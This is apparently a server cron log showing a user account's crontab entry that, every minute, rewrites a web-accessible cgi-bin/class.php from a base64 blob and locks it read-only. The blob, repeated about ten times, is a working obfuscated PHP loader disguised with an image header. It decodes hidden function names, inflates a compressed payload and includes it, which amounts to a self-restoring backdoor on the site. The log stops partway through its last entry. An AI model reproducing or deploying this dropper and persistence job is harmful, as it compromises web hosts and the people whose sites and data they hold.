Sep  3 21:29:01 server CROND[4730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:30:01 server CROND[5126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:30:01 server CROND[5128]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 21:30:01 server CROND[5129]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:30:01 server CROND[5132]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:30:01 server CROND[5130]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 21:30:01 server CROND[5133]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 21:30:01 server CROND[5134]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:30:01 server CROND[5131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:31:01 server CROND[5996]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:31:01 server CROND[5997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:31:01 server CROND[5998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:32:01 server CROND[6466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:32:01 server CROND[6467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:32:01 server CROND[6468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:33:01 server CROND[6963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:33:01 server CROND[6964]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:33:01 server CROND[6965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:34:01 server CROND[7391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:34:01 server CROND[7392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:34:01 server CROND[7394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:35:01 server CROND[7772]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 21:35:01 server CROND[7773]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:35:01 server CROND[7778]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 21:35:01 server CROND[7779]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 21:35:01 server CROND[7784]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:35:01 server CROND[7780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:35:01 server CROND[7782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:35:01 server CROND[7781]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:35:01 server CROND[7783]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 21:36:01 server CROND[8954]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:36:01 server CROND[8955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:36:01 server CROND[8956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:37:01 server CROND[9426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:37:01 server CROND[9428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:37:01 server CROND[9427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:38:01 server CROND[9803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:38:01 server CROND[9804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:38:01 server CROND[9805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:39:01 server CROND[10175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:39:01 server CROND[10176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:39:01 server CROND[10177]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 21:39:01 server CROND[10178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:40:01 server CROND[10566]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:40:01 server CROND[10568]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 21:40:01 server CROND[10571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:40:01 server CROND[10574]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 21:40:01 server CROND[10570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:40:01 server CROND[10572]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 21:40:01 server CROND[10573]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:40:01 server CROND[10569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 